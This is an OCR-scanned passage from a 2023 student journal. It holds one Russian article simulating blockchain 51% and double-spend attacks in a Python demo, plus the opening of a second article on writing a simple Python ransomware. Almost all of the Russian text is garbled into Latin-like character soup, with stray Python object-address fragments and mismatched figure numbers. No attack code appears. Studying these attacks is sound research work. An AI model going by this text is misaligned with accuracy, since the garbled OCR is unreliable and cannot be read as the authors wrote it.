MOMEHEI. PaccMOTpeHBI BO3MOKHOCTH MPUMEHCHHS W TEPCIIEKTUBBI Pa3BUTHs KPHUIITOBATIOTHBIX PEIICHUN B
MHPOBOH 3KOHOMHKE.

Kniouesvie crnosa: onokueiin, anroputm Proof-of-Work, araka 51%, ataka 1BOWHOTr0O pacxoI0BaHUsL.

Baokueiin. brokdeiltH —  3TO  TEXHOJOTrHWs, MPEACTaBIsAOmAs  COOOMU
IOCJIEIOBATEIbHYIO LENOYKY OJIOKOB, BBICTPOCHHYIO IO ONPEAEICHHBIM IpaBUIIaM,
COJIEpIKallyI0 3allUCH TPaH3aKUUH U PEIUTMIUPYEMYIO 1O Bcel cetu. bioku BkitouaroTcs B
pacripesielieHHyl0 0a3y OaHHbBIX, KOTOpas aBTOMAaTHMUYECKU OOHOBISETCA IpPHU COBEPIICHUHU
KXo HOBOW TpaH3akiuu. Kaxaplid 00K COCTOMT M3 3arojioBKa M CIIMCKA TPAaH3aKIHH, a
KaX/IbIi 3ar0JIOBOK COJIEPKUT CBOM X3I1I, X3UIM TPAH3AKIMNA U X3UI NMpeablIyniero 0i1oka (Kak
CCBIJIKA Ha MPEbITYIIUN).

bnaronaps 3ToMy Henb3s HM3MEHUTh MHGPOPMALMIO B OTAEIBHOM OJIOKE “3aJHUM
YUCJIOM” WJIM MOMECTUTHh IPOMEXKYTOUHBIM OJIOK B ILIETOYKY, TaK KaK 3TO HAPYLIUT BCHO
LEMOYKY OJIOKOB (BIUIOTH 0 CAMOTO MEPBOT0).

Taxum 00pa3zom, 3anuch JaHHBIX SBIISETCS HEM3MEHHON U HeoOpaTUMOMH, TO €CTh YXKe
3anvcaHHas HH(OpMaIHs He MOXKET ObITh M3MEHEHa WK epecMoTpena. [103ToMy TeXHOIorus
MOJKET OBITh MCIIOJIb30BaHA KaK peecTp Oe30macHOro XpaHeHust U oOMeHa uH(popMalueH,
BKJIIOUAs BEJICHUE NCTOPUU BCEX OCYIIECTBIIEMBIX onepanuil [1].

00630p npuio:xkenusi. Ctpykrypa «Signature» OyneT comepxaTh (PYHKIIMU CO3TaHUS
NPUBATHOTO U MyOJIMYHOTO KJIH0Ya, CO3JaHMs MOJIIUCH U e€ BepuduKauu

[Tonp30Barens - TOT, KTO OyJeT MOKyMHaTh TOBaphl Yy IPYTUX TOJIb30BATENCH.
[Tonp3oBaTenb caM MOXKET CTaTh NMPOJABIIOM U OyAeT NPUHUMATh AEHBIH OT APYIHMX B OOMEH
Ha TOBapbl, KOTOPBIE OH MOCTABJISIET. 3€Ch MBI MIPEIOIAraeM, YTO KJIMEHT MOXKET ObITh Kak
MIOCTaBIIMKOM, TaK U MOJIy4aTEJIEM.

Crpykrypa «TpaH3zakius», ToApa3yMeBaeT CUCTeMY paOOThI C TPAH3AKIMAMHU MEXKTY
nojb3oBareasiMu. OHa OyieT IPOBEPATh U MOIMUCHIBATh 3aKPBITHIMU KIIFOYaMH TPaH3aKIIHUIO.
3TO0 Ha3bIBAETCS — IEKTPOHHAS MOIHCH.

Crpyxtypa «Block» 6yner cogepxars B cebe QyHKIIMH XEIIMPOBAHUS caMoro OJI0Ka,
€ro BbIBOJIa HAa SKpPaH U caM MalHUHT.

Haxonern, 650Kk4eifH — 3TO CTpYKTypa JAAaHHBIX, KOTOpas 0ObEAMHSAET BCE JTOOBITHIE
0JIOKH B XpOHOJIOTUYECKOM MOpsJIKE. DTa 1eNb HEM3MEHHA U, CJIeJ0BaTeIbHO, YCTONYMBA K
BHeIIHUM BozjaencTBusaM. Ctpykrypa «Blockchainy 6yner paborats ¢ chopMUpOBaHHBIMU
6mokamu. OHa TMO3BOJIUT CO3/1aBaTh HOBbIE OJIOKH, BBIBOAMTH WH(POPMALHUIO O IIETOYKE,
MPOBEPATH KaXk/IbIil OJIOK LIETIOYKH, a TaKXkKe crucTeMa (POpKUHTa U KOHCEHCYcCa.

Pa3paGorka npuioxkenus. [Ipuioxxenne pazpaboTaHO Ha alrOPUTMHUUYECKOM SI3BIKE
Python 3.8, ¢ ucrons3oBanrem oudmmorek hashlib, sys, binascii, datetime, collections, Crypto.

YroObl pa3paboraTh Kiacc Signature W OCTaIbHOM KOJ MPOEKTa, HaM MOTpedyercs
UMITOPTUPOBATh HECKOJbKO OuOmmorexk Python, B ocHOBHOM MBI OyaeM HCHOJIB30BaTh
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oubmuorexky «Crypto». Kmacc Signature reHepupyeT 3aKpbITBIH W OTKPBITHIA KIIIOYH C
nomotipio anmroputMa RSA. Bo BpeMs mHUIManM3anuu oOBEKTa MBI CO3J]a€M 3aKPBITHIA U
OTKPBITHIN KIIFOUHM U COXPaHSEM UX 3HAUCHMS B IEPEMEHHOM dK3eMIuisipa. CreHepupOBaHHBII
OTKPBITBIN KJTI0Y OyZIeT UCIOIB30BAThCS B KAUECTBE UACHTU(PHUKATOPA KiHeHTa. J{J1s 3Toro Mbl
OmpejenisieM  CBOMCTBO,  Ha3bIBaeMO€  UJCHTH(PHUKATOPOM,  KOTOPOE  BO3BPAIIACT
LIECTHAATEPUYHOE  IPEACTABICHUE OTKPHITOIO  KiIOYa. VIJIEHTUYHOCTb  SIBISETCS
YHUKAJIbHON JUISI KQXKJIOTO KJIMEHTa U MOXKET ObITh o0menocTynHbiMi. KTo yrogno cmosxer
OTIPABUTH BaM BHPTYAJIBbHYIO BAJIOTY, UCIIOJB3YS 3Ty JUYHOCTh, M OHa OyJeT Jo0aBiieHa B
Ball Komenek. OTKPbITBIN K04 Mbl CTEHEPUPYEM Ha OCHOBE 3aKPBITOTO Kitoua [2].

Janee Mbl cO31a1UM 3JEKTPOHHYIO OANUCH. ClieaeM MbI 3TO HA OCHOBE CO3/IaHHOTO
HAMH TpuBaTHOro kioya. Tak jxke co3zganuMm (pyHKIOHMIO, KOTOpas OyaeT NpoBepsTh
MOJJTMHHOCTH 3JIEKTPOHHOM MOJMKICH Ha OCHOBE MMyOInYHOro Kitoua. [IpoBepka nmoamnucu Ham
MIOHAI00UTCS MO3XKE.

Tenepy mepeiimem Kk cosznanuto kinacca User. Ot Oyaer couepkatb B cebe Bce
TpaH3aKLuH, OanaHc, MyOJIMYHBIA U IPUBATHBIN KiItoud. Jlanbiie 3aiiMeMcs CO3/JaHuEM Kilacca
«Transaction». OT coep>KuT B cede TaHHbIe HOMEPA TPaH3aKIIUU, Oy4aTelis, OTIPaBUTENS,
CYMMBI, 1aThbl IPOBEJCHUS TPAH3AKIMY U X€Il CaMON TpaH3aKL1H.

Mp1 MOXKeM MPOBEPUTH PabOTy Kjacca, a Takke pabdoTy MPOBEpKH BalugHOCTH. J{iist
3TOr0 CO3/1aJIUM JBYX I10JIb30BaTENECH U JaAUM UM TPaH3aKIUH (TaK KaK UX eIl€ HET, TO CIIUCOK
OyZeT MycThIM), a TaKKe W3HauanbHbIA OamaHc. Co3naaum nepByro TpaH3akuuw. OTnpaBuM
BTOpOoMYy noib3oBatento 10 moner. E€ noanumer ornpasurens. [locne yero ona nepenacrest
BCEM MOJIb30BaTeNAM OiloKueitHa. Kaxaplii moabp30BaTens MOKET MIPOBEPUTH BAIUTHOCTD 3TON
Tpan3akuuu (Pucynok 2). Tpanzakius OyaeT BajuHa MOKa 3JI0YMBIIUICHHUK HE MOIBITACTCS
e€ m3meHuTh. Hanpumep, Ham nons3oBatens ornpaBuwil He 10, a 100 moner. Tak kak xemmn
TpaH3aKLIUK MTOMEHSJICS, TO MIPH MPOBEPKE 3TOM TpaH3aKLMU y MOJb30BaTesel OHa OyAeT He
BaJIM/IHA, YTO BUJHO Ha PUCYHKE 2.

CurHaTypa BanupgHa CurHaTypa HeBanugHa

Curvatypa BanupgHa CurHaTypa HeBanugHa

Pucynok 2 IlpoBepka BanuIHOCTH cii€Ba- TpaH3aKLKs BaJUAHA, CIIPaBa - HEBAJIWIHA

[Tocne coznanus knacca «Transaction» MOXHO MepelTH K co3manuio kiacca «Block»
OH XpaHHT B cebe TpaH3aKLIKUHU, BpeMsi, HoMep 0J10Ka, MH(pOpMaIiio o caMoM OJI0Ke, CBOM Xelll
1 00s13aTeNIbHO Xelll npouuioro 6oka. HemanoBakHbIM apaMeTpoM, KOTOPBIM XpaHUT OJIOK,
ABJISIETCA MTapaMeTp honce — YUCIIo, J00aBIEHHOE K XEIIMPOBAHHOMY MJIH 3aIli(POBAaHHOMY
050Ky B OJIOKYEIHE, KOTOPBIM MPU MOBTOPHOM XEIIMPOBAHUU COOTBETCTBYET OIpPaHUYCHUSIM
YPOBHS CII0KHOCTH.

I'maBHasg QyHKIMS, KOTOpas MPHCYTCTBYET B 3TOM Kjiacce — 3To (yHkims Mining.
Ha3znauenue 1ol GyHKIMN 3aKITH0YAETCsl B CO3/IaHUU XAIIa sl JaHHOT O 0JI0Ka ¢ MpepUKCOM
C yKa3zaHHbIM yrciioM (. 3aJaHHOE KOJIMYECTBO HYJIEW YKa3aHO B KAUE€CTBE YPOBHSI CII0KHOCTH.

Coznaaum 6;10ku 1 13MeHUM B pyHkiuu Mining napamerp difficult va “3”. IlpoBenem
POOHBIN MyCK ¥ MOCMOTPUM, Kako# xem OyeT y Hammx Onokax. CTpykTypa 0j10Kka moka3aHa
Ha PUCYHKE 3:
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ect at 0x0000014E4FACSEEQ>,

Pucynok 3 Ctpykrypa 6J10K0B

Teneps HYXKXHO CO31aTh CHUCTEMY, KOTOpas OyJeT B3aWMOJICHCTBOBAaTH CO BCEMH
CO3IaHHBIMU KJIACCAMHU.

Cozmamum knace Blockchain. On Oyzner copepxats B cebe nHpOpMauio o OIokax u
ux konuuecTse. [ maBHas Gpynkuus 3to NewBlock. Ona no6asnseT B 6110Kk4€eiiH OJI0KH, a TAKKE
yIIpaBIsieT POpPKaMH.

Korna nBa monb3oBarens HaXOAAT Xell OJIOKa OJHOBPEMEHHO (3aBepIlai0T MalHHUHT
0Jsioka) mpoucxoaut mporecc Gopkunra. Co3gaetcst HOBas IETMOYKA OJIOKOB, UCXOSIIAs U3
npenpiaymero Oioka. HoBble TpaH3aKIMK AENSATCS HAa 3TH JIBE LIETIOYKH M MPOJIOJDKASTCS
¢dopMHpOBaHUs HOBBIX OJOKOB. DTO MPOHMCXOINT A0 TEX IOp, TOKA CHCTEMa HE MPOCYUTAET
XEMIPEHT KaKI0M LEMOYKH U COBEPUIUT BHIOOP OAHOW U3 HuX. Llemouka ¢ cambiM OOJIBIINM
XeIIPEeTOM CTAHOBUTCS BAIMIHOW, a BTOPHYHAS IETIOYKA YHUYTOXKACTCSA, TPAH3AKIIHU
OTMEHSIIOTCS M CPECTBA MoJib30BaTeseld Bo3Bpaimarorcs [1].

Ecmu MBI co3magum OokM W 100aBUM B OJIOKYEHH, IMOCIE YEero MpPOBEPUM HX
BaJIMIHOCTbH, TO MBI Y3HA€M, YTO BCE OHU SBIISIOTCS BAJIUTHBIMU IOTOMY, UTO HUKTO H3MEHEHHS
He BHOCHJI. Ho ecniu MbI BHECEM M3MEHEHUS B KAaKOW-TM00 OJI0K, TO BCE MOCIENYIONre OJIOKH
OyAyT HEBaJIMIHBIMHU.

Yro Takoe 51%. Ataka 51% — »3T0 B310OM ceTu OyokueiiHa OOBEKTOM WM
OpraHu3aiuei, KOTopble KOHTPOJUPYIOT OOJBIIYI0 YacThb CKOPOCTH Xd3LIMpoBaHus. Mmes
JOCTAaTOYHO MAaWHWHT-MOIIHOCTH, OHH MOTYT TIPEIHaMEPEHHO HCKIIOYUTh WIH WU3MEHHTH
MOPSTOK TPaH3AKITHIA.

Bce BamoThl, MOCTpOEHHBIE HA MPUHIUIE OJIOKYEHHA, UMEIOT pacHpeleuTeIbHbIe
peecTpbl, a TpaH3aKIUK 110 HUM MOATBEPKIAI0TCS HEMOCPEICTBEHHO MaliHepaMu. Yem Ooiblie
BBIYUCITUTENIFHOW MOIIHOCTH y KOHKPETHOTO MaifHepa, TeM OOJjbllle y HEeTO IAaHCOB BBIMTH
HEPBbIM Ha BEpHOE pelIeHHe. DTO MO3BOJUT €My CO3/1aTh HOBBIH OJIOK MEPBBIM U MOIYYUTh
BO3HArpax/eHue 3a MOITBEPKICHUE TPAH3aKIIUH.

51% BBIYMCIUTENBHON MOITHOCTU CeTH (HaKTUYECKU DPa3BSA3BIBAET PYKH MalHEpY,
MOCKOJIBKY TOT IOJIy4ae€T BO3MOXKHOCTh CAMOCTOSITEJIHO YIPABISATH BCEMU ONEpPALUSIMU IO
cucreme. OH MOXXET CO3/1aBaTh HOBbIE OJIOKH, MMOATBEPKAATh TPAH3AKIIUU WM, HA00OPOT, X
OJIOKMPOBATb.

IIpoBenenne ataku 51% u aTaku ABOIHOI0 CIMCAHMSA.

Tak kax Ham Onok4YeH uMeeT (QYHKIHIO (OPKMHTa W BO3MOXKHOCTH IMPOBOIMTH
CJIMSIHUE IEMOYeK Ha OCHOBE MaKCHUMAaJIbHOrO XempeiTta. [l yCIOBHOCTH XeupeHT Oyxaer
NIPUCYTCTBOBAaTh y OJIOKOB, a HE Y IIOJNb30BaTeNield, B BUAY OTCYTCTBUS HEOOXOIMMBIX
MOITHOCTEH U CIIOKHOCTH peaTH3aliH.

[Ipenmnonoxum, 4To MaifHephl co3iaau OJIOK OAHOBPEMEHHO M MpoHu30Ien (GOPKUHT
(Pucynok 4). B xome Mbl momeTuMm 3T0 coObiTHe Kak “to share”. Ilociegnuii mapamerp
GyHKIIMHM — 3TO U ecTh XempeiT. [locne yero nemnoyka pas3enseTcs Ha JBE YacTU U B KAXKIYIO
U3 HUX T0OABISIOTCS TPAH3AKIUH.
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Pucynox 10 Pa3nenenne nenouku Ha 1Be 4aCTH

OOBIYHO, TTOCIIE TPAH3AKIIMH T0JIB30BATENICH IPOCAT MOI0KIaTh HEKOTOPOE BpeMs, 3a
KoTopoe chopmupyercs eme HECKOIbKO OJIOKOB. TPAaH3aAKIIMK MTPOUTYT MIPOBEPKY M CONBIOTCS
B OHY 1Ieno4Ky. Ha 3o u paccunrtana ataka 51%. Ham npunercs co3nath HECKOJIBKO OJI0KOB
noapsia ObicTpee BceX. biaromaps BBICOKOMY XEHIPEHTY 370YMBIIUICHHUK MOXET CO37aBaTh
0JIOKH 1 HaBs3bIBAaTh CBOM TPAH3aKI[MHU, U OHHU YHIYT B OCHOBHYIO IIETIOYKY, & BTOPOCTEIICHHAS
nenoyka Oyner ormeHena [3].

Bcé€ naunnaercs ¢ TOro, 4To OH COOMpPAET MOHETHI: MAMHUT, MTOKYIAET WIH KPaJeT UuX.
CobpaB HEOOXOAMMOE KOJIMYECTBO MOHET, 3JIOYMBIIICHHUK 3aBJajieBaeT OOJIBIICH YacThIO
MOIIHOCTeH XsmmpoBaHus ceTH. llocie sToro xakep mpucrtymaerT k aTtake. CHayana OH
HaYMHAET MAHUThH CKPBITO, HAa CBOEM Yy3iie [4]. Korjga MoleHHUK HaXOAUT BEPHBIN X3III, OH
€ro MakyeT Tak)Ke Ha CBOEM y3JIie, TIocyie Yero BhIlmyckaeT B ceTh (Pucynox 5). Bee apyrue y3ibl
MIPU3HAIOT X311 BEPHBIM U 3aIUCHIBAIOT €T0 K ce0e B OJIOKYCHH.

Pucynoxk 11 bBriok, co3nanabii MOIIICHHUKOM

Ha »tom stame arakyromuii paboTtaeT kak oObIYHBIM MaiHep. [lanee, aTakyrommii
MPOJIOJKAET MATHUTh JIOKAJIBHO Ha CBOEM y3JI€, YTO MOKA3aHO HA PUCYHKE O, OJIHAKO YK€ HE
OTIIpaBJISIET HaillleHHbIe OJIOKU B ceTh. Takum 00pa3oM ojiHa Bepcusi OJ0KUYelHA CYIECTBYET
MIPUBATHO y MOIIEHHUKA, IpYyras HAXOJUTCS Ha BCEX OCTAJIbHBIX Y3JIaX CETH.

0 \EC10>]

Pucynox 12 CkpbIThIil ys1 MOIIIEHHUKA

B KOHIle KOHIIOB 3JTIOYMBIIIJICHHUK CO3/1a€T TPaH3aKIHI0, B KOTOPOH OTIHpaBIIsIET BCE
CBOM MOHETHl Ha KaKylo-TO OMpXKy. DTa TpaH3aklMs MomnagaeT B OOLIYI0 CEeThb, BCE Y3JIbI
IYMAloT, YTO CHCTeMa PabOTaeT COIVIACHO KOHCEHCYCY, M TPAaH3aKIMs YCIEIIHO MPOXOAUT
(Pucynox 7). bupxa BUANUT, YTO K HEW MPHUILEN JAETIO3UT U 3a4HUCIISET CPEJICTBA aTaKYIOIIEMY.
OtoT 6anaHc Ha OUp>Ke MOLIEHHUK MOXKET OOMEHSTh Ha JIPyTHe KPUIITOBATIOTHI, BHIBECTH WIIN
YTO-TO €I - EAMHCTBEHHOE, YTO 3TO HAJ0 caenaTh ObicTpo [3].

164



Bectauk CHO JIOHHY. Bpimn. 15. Tom 1: EcrectBennbie Hayku. — 2023.

ct at 0x000001 3lock.Block object at 0x00000162994AEC10>, <E

ct at 0x000

t at 0x000001¢

Pucynok 13 brok MomeHHUKa B 001IEH Lenoyke

[Tocne Toro, Kak CpefCcTBa BBIBEIEHBI C OUPIKH, MOIIEHHHK ITyOIHKYET CBOIO CKPBITYIO
BepCHIO OJIoKueifHa Oe3 OTHpaBIICHHOW Ha OWMpP)Ky TpaH3aKIMW WM C MEHbBIIEH CyMMOM
(Pucynok 9), 1 n3-3a ero npeBoCX0/ICTBA B MOIIIHOCTH X3ILIUPOBAHUS OHA IIOJy4YaeTCs ITTMHHEE,
a CJIeI0BaTeNIbHO, IPHHUMACTCS CETHIO KaK MpaBuwiIbHas. Tenepb 3a4ncieHnst MOHET Ha OUpXKY
Kak Oy/To OBl He OBLTO, M MOIIICHHUK TETeph 00J1a/1aeT ABOWHBIM SKBHBAJICHTOM CBOMX MOHET.

MBI MOXEM MpOBEpUTH LEMOYKY Ha BaJMTHOCTh M, €CIM MOIICHHUKY YyIalloCh
COBEPILUTH aTaKy, TO OHA Oy/ET BAJIMAHA, YTO U TIOKA3aHO HA PUCYHKE 8.

ock.Bl

[ t at 0x0000C >, <

Bnok @ BanwgHbli
bnok BanWaoHbIN
Bnok 2 BanwgHbin

Bnok 3 BanwgHbli

Pucynok 8 biok MollleHHHMKA ¢ MEHBIIEH CyMMOMW U LIETIOYKA OCTAETCS BAJIUIHON

Pe3yabTaThl 3KcnepuMeHTOB. Pa3paboranHas mporpamMma MO3BOJIAJIA, PACCUUTATH
MPUMEPHOE BpeMs Ha BeYUCIICHHE Xemra 10 OJI0KOB /IS CO3/IaHus albTePHATHBHON IIETIOYKH
onokueitna. Ha pucynke 9 u Tabmune 1 mnpencraBieHsl Bpemsi pacueta 10 OmokoB
aJbTEPHATUBHOM 11eouku. B cetn Bitcoin ClI0KHOCTH Xell1a aBTOMaTHYECKH MEHSETCS pa3 B 2
HEJeNU B 3aBHCUMOCTH OT MOIIHOCTH ceTd. Ha maHHBIH MOMEHT mpedukc xemia OUTKOHA
cocrasisieT 20 3HakoB. Bpemst co3ganust 6J10KOB 3aBUCUT OT XeIlIpeiTa MailHepa U CII0KHOCTH.
OOBIYHO ONIOKYEHH TMOChIIaeT MaiHepy OJOK CO CIO0XKHOCTBIO, COOTBETCTBYIOIIEH
TEXHHYECKUM XapaKTePUCTHKaM YCTPOMCTBA, IO3TOMY XeHIpeHT OymeT MeHSIThCS B
3aBUCHUMOCTH OT Pa3HBIX YCTPOMCTB.

Tabmuna 1

CpaBHHTeJ'ILHBIfI aHaJIn3 (I)OpMPIpOBaHI/IH OJIOKOB B 3aBUCUMOCTH OT CJI0KHOCTH

Cn0KHOCTb KonnyectBo Bpemenu Ha popmupoBanue 10 610k0B
0.002 cexyH1bI
0.06 cexyHnn
0.47 cexyHnbl
11.27 cexynn
3 MUHYTHI 25 CEKyH]
41 munyta 54 ceKyHJbI

OO WIN|F-
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Pucynok 9 Bpewms (B cekynnax) pacuera 10 GI0KOB JUIst pa3HOTO YPOBHS CIIOKHOCTH

ITo pe3yiibTaTaM MPOBCACHHBIX SKCIICPUMCEHTOB MOKHO CACIIATH CICAYIONINEC BHIBOABI:

1. Bpewmst hopmupoBaHue 6J10KOB 3aBUCUT OT CJIOKHOCTH I10 SKCIIOHEHTE.

2. Ha Bpemst popmupoBanusi 6J0KOB HE BIUSAET KOJIMYECTBO TPAH3AKIUH.

3. CkopocTb co31aHus 0JI0KOB HAMPSIMYIO 3aBUCHUT OT XEUIpeiTa M0JIb30BaTEsL.
4. ®opMupoBaHNE HECKOJIBKHX OJIOKOB OJHOBPEMEHHO pa3lelisieT XeUIpenT

[I0JIb30BaTENs Ha JIBOE.

Ataxa 51% cama 1o ce6e He O3BOJISET aTaKYIOIIUM 3aII0JTyYUTh IPUBATHBIA KITFOY HITH
noJyiesaTh MOJIUCH MOJb30BaTeIel, 3alody4uTh MOHETHI, IIOJIyY€HHBIE B pe3yibTare
HETNPABWIBHOM Pa0OThI KOHTPAKTA, OTIPABIATH, 3aMOPAXMBATH B CTEHKUHI MJIM COKUTATh
MOHETBI BMECTO I10JIb30BaTelIeH, ypaBIATh PELICHUAMH JIepKaTesei MOJHbIX Y3II0B.

W3 3TOro MOXHO c/ieJaTh BbIBOJ, UTO aTaka HE JaeT BO3MOXKHOCTH YIIPaBJIEHUS BCEM
0JI0KUEHHOM, OTpaHUYMBAACH OJJOKMPOBAHUEM TPaH3aKLUH, IPOBEIEHUEM JBOHHOIO pacxo/a,
co3zianreM (POpPKOB OCHOBHOTO OJIOKYEHHA.

BbiBoabl. UTOOBI OCYIIECTBUTH aTaKky Ha OJOKYEHH, 3I0YMBIIUICHHUKY HE BCerja
HeoOxomuMo uMeTh 51% u Ooree BBIUMCIMTENBLHOM MOIIHOCTH. BeposTHOCTh ycrexa
paccUMThIBA€TCA MCXOAS M3 BPEMEHHM aTakM M KOJMYECTBA BBIYMCIMTEIBHBIX MOIIHOCTEH.
Jaxe ecnu arakyomuii KoHTposupyet 40% ceTr, OH CMOXKET TPOBECTH aTaKy Ha MPOTSHKECHUT
nByX 0710k0B ¢ 40% BepoaTHOCTBIO ycriexa. TakuM oOpa3oM, n3-3a MaciuTaboB ceTu ataka 51%
Ha OJIOKUEWH KpaitHe ManoBeposaTHa. [lo mepe pocrta OnokyeitHa BEpOSITHOCTH 3axBaTa
BBIUUCIIUTENIbHOW MOIHOCTH OJHUM YEJIOBEKOM WM TpPYNIoH JoAed MNpoaosKaer
YMEHBIIATHCS.

Bbonee Toro, u3mMeHeHue paHee MOATBEP)KICHHBIX OJIOKOB CTaHOBHUTCS Bce Oonee U
Oojee CIOXHBIM, IOTOMY 4TO BCEe OJIOKM CBs3aHBl MEXIy Cco00il MOCpencTBOM
KPUNTOTpapHUUECKUX J0KA3aTENbCTB: YeM OOJIbIle MOATBEPKICHUN y OJ0Ka, TeM BbIlIe OyayT
3aTpaThl HA U3MEHEHHE WM OTMEHY TpaH3akuuil B HeM. ClenoBaTeNbHO, yCIIEIIHas aTaka
CMOXET M3MEHUTh TOJIbKO TPAH3AaKIMU MOCIEAHUX OJIOKOB M TOJBKO Ha KOPOTKHUI Mepuon

BpPEMEHH.
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METHODS OF PROTECTION AGAINST UNAUTHORIZED MINING

Annotation: the work is devoted to the development and research of cryptographic properties of the blockchain
and the conduct of 51% attacks and double-spending attacks. A program has been developed that demonstrates the
blockchain architecture, which allows managing transactions, using electronic signatures and verifying the
verification of blocks and transactions. The Proof-of-Work algorithm is integrated and tested in the program,
various algorithms that protect the blockchain from changes and substitution are applied in practice. The
possibilities of application and prospects for the development of cryptocurrency solutions in the global economy
are considered.

Keywords: blockchain, Proof-of-Work algorithm, 51% attack, double spending attack.

Kulakov D.S.

Scientific adviser: Babicheva M.V., senior Lecturer
Email: kulakdann@yandex.ru

Donetsk National University

167



Bectauk CHO IOHHY. Brin. 15. Tom 1: EcrectBennsie Hayku. — 2023,

YK 004.056
CTPYKTYPA BUPYCOB-IM®POBAJIBIIIUKOB

JIywnau B.H.
Hayunwtit pykosooumens: baouueea M.B., cmapuwiuii npenooasamens
oy BIIO «/IOHHY»

Annomayus. paboTa MOCBAIICHA UCCIICIOBAHUIO KOJa MPOCTEHIero Bupyca-mmuppoBaibirka Ha s3pike Python
¢ wucnonb3oBanueMm OubOmuoteku PYAesCrypt, B xome paboThl ObLIa paccMOTpeHa CTPYKTypa BHpyca-
mrpoBajIbLUIMKa HA IPUMEPE ero NPOCTEeHIEeH peann3auy 1 METO/IbI 3alUTHI OT MOJOOHBIX BUPYCOB.
Knrouesvie crosa: supyc-mndposanbuuk, Python, mudposanue, AES.

BBenenne. Bupyc-mmdpoBanbIinK, WIM XK€ BBIMOTATeNlb, MPEICTABISET COOOM
BPEJIOHOCHYIO IIPOrpamMMy, KOTOpasi, MOJIYYMB JIOCTYNl K KOMIIBIOTEPY, aTakyeT KIIIOueBbIE
pa3aelibl CUCTEMBI, IJ1€ MOTYT HAXOAUTHCA TOKYMEHTHI I10J1b30BATEN, B TOM UHCJIE: TEKCTOBBIE
daiinbl, n300paxkeHust, TabNULBI U 0a3bl TaHHBIX, Toce Yero mudpyer Bce (ailnpl, Tumias
BJIaJieNbpla JocTyna K HUM [1]. I'maBHas 1enb 370yMBIIUIEHHUKOB 3aCTaBUTh I10JIb30BATENSA
J00BIM CIIOCOOOM CKadath (haill ¢ BUPYCOM M 3aIllyCTUTh €ro. B 3ToM BbIMOrarenu MoryT
MPOSIBJISITH BCIO CBOIO (haHTa3MIo0. 3a4acTyi0 OHU YCTPAHMBAIOT MAacCCOBYIO PACcCBUIKY TTHCEM B
opranuzanuu. B TemMe cooOI1IeHNs yKa3bIBAECTCS «PE3IOMEY, «UCKOBOE TPEOOBAHUEY, «10IOBOP
[IOCTaBKU», «aKT CBEPKH-B3aUMOpAcu€ToB», T. €. caMble OOBIUHBIE NHCbMa, KOTOpBIE
€KEHEBHO MPOXOIAT JeCATKaMH B JIF000M opranu3zauuu. [pyroi cnoco0 pacnpocTpaHeHus
BHpyCa — OTO 3aIllyCK 3arpy)KCHHOW H3 UHTEpPHETa MNpPOrpaMMbl. TOJIBKO BMECTO
YCTAQHOBJICHHON MpOrpaMMBbl I0JIb30BaTeNb MOJdy4aeT 3amudpoBaHHble (ailnbl. M xotTs
JAHHBIA TUI BUPYCOB JIOBOJIBHO MPOCTO KaK CO37aTh, TaK U 00E3BPEAUTH, HO YEM OINBITHEE
3JI0YMBIIUIEHHUK, TEM CIIOXHee OyAeT 3aiuTUTh cucreMy KoHKpeTHoro [1K mian nokanpHyo
ceTb. Beap Hepenku ciaydad, Korja Jake KpYyNHble KOMIAHMUM C CEpbE3HOM 3aluToi
CTaHOBUJIUCH JKE€PTBAMU MOJOOHBIX BUPYCOB. V3 HeaBHUX MPUMEPOB - aTaka Ha KOMIIaHHUIO
Wildberries. TTo uHboOpManuu U3 pa3iuuHBIX UCTOYHUKOB, XaKepaM YIaloCh YHHUYTOXKHTh
noutu Bcto IT-undpacTpykTypy komnaHuu, BkIouyas Oskambl. [locne ataku y KoMmaHUU
OCTaJICS JIOCTYNEH TOJIbKO (PpoHTeHA, a O3keHn Obul ynanéH w/wnm 3ammdposad. [lycts
KoMItauus U He aBisgercs IT-rurantom, Ho BcE ke Wildberries - oqHa U3 3HAUMMBIX KOMITAaHHH
B cBoeil cpepe B PD. DTOT ciiyuail, Kak U MHOTHE Jpyrue, HalOMUHAET HaM O TOM, YTO O
3aIIMATE MOAYAC BCIIOMMHAKOT TOJIBKO IOCJE YCIEIHOM araku. M miig KpynHBIX KOMIIAHUN
BbIOOp HE BEJHK, JTUOO OHU TPaTAT OOJbIINE CPEeJICTBA HA 3aMTY CBOEH MH(PACTPYKTYpHI,
00 TEPSIOT emmié OOJIbIe CPE/ICTB HA BOCCTAHOBIICHNE CHCTEMBI.

IMocTanoBka 3axaun. HeoOX0qMMO H3YUUTh CTPYKTYPY BUPYCOB-IIHM(PPOBATIBIINKOB;
HamucaTh MPOCTEHIMI mMpoBadblIMK Ha s3bike Python 3 ama  mmdposanus
MoJIb30BaTeNbCKUX (aiioB anroputmMoM AES; mpoBecTH TecTOByI0 araky Ha 3apaHee
MOATOTOBJICHHBIE (ailibl;

HIudposanne. [{udppoBoe mudpoBaHue MNPUHUMACT OPUTUHANBHBIA TEKCT U
BUJIOM3MEHSET ero. B Hacrosiiee BpeMs HUCIOJIb3YIOTCSA aIrOpUTMbI MKU(POBaHUS, KOTOPHIE
HAMHOTO CJIO)KHEe W MOIIHEe, YeM HMX IMpPeAKH ¢ OJHOAI(PABUTHOW MOJICTAHOBKOM.
VYcoBepIieHCTBOBAaTh NpOIECC MIM(PPOBAHUS MOMOTAIOT AJITOPUTMBI CO3JAHMS KIIOYEH U
camoro ImudpoBaHus. Kntoun reHepupyroTcst ciydailHBIM 00pa3oM U SBISIIOTCS
YHUKaIbHBIMU. HeKOTOpBIE crCTEMBI Jake CO3/1al0T HOBBIE KIIIOUM Ul KaX/I0T0 ceaHca, YTo
JIOTIOJTHUTEIBHO 3alllMIaeT IEepCOHAJIbHBbIE JaHHBIe TMoJb3oBaTeneil. Hampumep, eciu
3JI0YMBIIIJIEHHUK 3aX04YeT YKpacThb MH(OPMAIMIO O KPEIUTHON KapTe, TO eMy HYXHO Oyzaer
BBISICHUTH HE TOJIBKO, KAKOH aJrOPUTM MCHOIb30BAJICS A IIU(PPOBAHUS JAHHBIX, HO elé U
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Kakol K04 OblT copmMHUpoBaH. DTO JHajeKko He MpocTasl 3ajaya, TaKk Kak HIH(ppoBaHUE
yCcTOHYMBO K MOM00HBIM arakam. lllmdpoBanne — OAMH W3 JIYUIIMX CIIOCOOOB 3aIMTUTH
KOH(UICHIMANbHbIE JaHHble B uHTepHere. K mnpumepy, B maHHON pabote Oyner
ucnoip3oBaThcs mmdpoanue crangapra AES, unu ke «Advanced Encryption Standardy,
KOTOPBIH SIBISIETCS CHMMETPUYHBIM JITOPUTMOM OJiouHOrO mudpoBanus. To, 4To JaHHBIN
